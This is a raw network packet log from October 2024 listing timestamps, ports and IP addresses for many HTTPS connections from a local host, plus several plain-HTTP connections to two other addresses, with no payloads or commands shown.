Oct 7, 2024 13:27:05.951108932 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.951114893 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.979548931 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.980462074 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.980484962 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.980997086 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.981009007 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.008687973 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.009308100 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.009318113 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.009754896 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.009759903 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.035691023 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.036451101 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.036477089 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.037172079 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.037178040 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.049308062 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.049882889 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.049892902 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.050623894 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.050628901 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.054007053 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.054194927 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.054267883 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.054281950 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.054313898 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.054366112 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.054474115 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.054514885 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.054539919 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.054555893 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.058990955 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.059014082 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.059101105 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.059377909 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.059390068 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.101080894 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.103044987 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.103158951 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.103199005 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.103220940 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.103234053 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.103240013 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.106621981 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.106765985 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.106841087 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.106920004 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.106950998 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.106960058 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.106977940 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.106980085 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.107018948 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.107085943 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.107424974 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.107439995 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.109464884 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.109505892 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.109580040 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.109750032 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.109766006 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.134471893 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.134546041 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.134592056 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.134614944 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.134743929 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.135029078 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.135056973 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.135071039 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.135077000 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.139339924 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.139395952 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.139468908 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.139686108 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.139704943 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.149204969 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.149286985 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.149350882 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.149594069 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.149605036 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.149617910 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.149622917 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.153242111 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.153292894 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.153389931 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.153557062 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.153569937 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.200069904 CEST	49904	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:06.200481892 CEST	49920	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:06.205919027 CEST	80	49920	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:06.206027985 CEST	49920	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:06.206204891 CEST	49920	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:06.211236000 CEST	80	49920	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:06.215445042 CEST	80	49904	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:06.215528011 CEST	49904	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:06.753742933 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.754559994 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.754576921 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.755078077 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.755084038 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.755327940 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.755621910 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.755644083 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.755980968 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.755990982 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.786622047 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.787302017 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.787328005 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.787805080 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.787811995 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.799823046 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.800350904 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.800386906 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.800807953 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.800818920 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.852725983 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.852855921 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.853205919 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.853235006 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.853250980 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.853265047 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.853271008 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.855905056 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.855977058 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.856082916 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.856241941 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.856241941 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.856241941 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.856738091 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.856784105 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.858011961 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.858195066 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.858212948 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.858297110 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.858309984 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.858365059 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.858445883 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.858453035 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.885725975 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.885807037 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.885921001 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.885940075 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.886065006 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.886306047 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.886323929 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.886336088 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.886342049 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.890043974 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.890079975 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.890171051 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.890369892 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.890386105 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.906234980 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.906375885 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.906632900 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.906677961 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.906677961 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.906702042 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.906714916 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.914341927 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.914396048 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:06.914562941 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.914802074 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:06.914829969 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.167934895 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.168014050 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.492650032 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.493314981 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.493347883 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.493774891 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.493787050 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.496154070 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.496516943 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.496540070 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.496937990 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.496948004 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.513062000 CEST	80	49920	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:07.513197899 CEST	49920	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:07.517142057 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:07.522052050 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:07.522146940 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:07.522275925 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:07.527133942 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:07.559269905 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.559858084 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.559878111 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.560374022 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.560384035 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.567898035 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.568360090 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.568372011 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.568764925 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.568768978 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.592011929 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.592082977 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.592129946 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.592330933 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.592356920 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.592369080 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.592375994 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.596056938 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.596069098 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.596163034 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.596246958 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.596354008 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.596395969 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.596466064 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.596487045 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.596496105 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.596514940 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.596525908 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.596532106 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.598769903 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.598802090 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.598855019 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.598994970 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.599009991 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.661225080 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.661257029 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.661310911 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.661372900 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.666321039 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.666342974 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.666353941 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.666361094 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.667731047 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.667928934 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.667987108 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.668107986 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.668132067 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.668142080 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.668147087 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.670928955 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.670989037 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.671058893 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.671171904 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.671216011 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.671262980 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.671364069 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.671376944 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.671458006 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:07.671473980 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:07.774950981 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:07.774996996 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:07.775084972 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:07.775527954 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:07.775543928 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.244772911 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.244786978 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.244801998 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.244842052 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.244879961 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.244896889 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.244929075 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.244966030 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.244982004 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.245002031 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.245023966 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.245132923 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.245145082 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.245157957 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.245167971 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.245170116 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.245192051 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.245217085 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.249732971 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.249789000 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.249797106 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.249815941 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.249834061 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.249850035 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.273483992 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.273546934 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.274069071 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.274101973 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.274123907 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.274141073 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.274682045 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.274689913 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.274768114 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.274772882 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.308459997 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.309473038 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.309494019 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.310036898 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.310041904 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.374202967 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374243021 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374253988 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374272108 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.374351025 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.374377966 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374439955 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.374471903 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374485016 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374512911 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.374526024 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.374600887 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374613047 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.374638081 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.374650002 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.375411987 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375456095 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.375617027 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375669003 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.375683069 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375694990 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375719070 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.375742912 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.375896931 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375935078 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.375958920 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375969887 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.375998020 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.376110077 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376120090 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376152992 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.376641035 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376684904 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.376703978 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376714945 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376744986 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.376853943 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376866102 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.376898050 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.377484083 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.377526999 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.378287077 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.378526926 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.378653049 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.378653049 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.378701925 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.378724098 CEST	443	49927	13.107.246.60	192.168.2.5
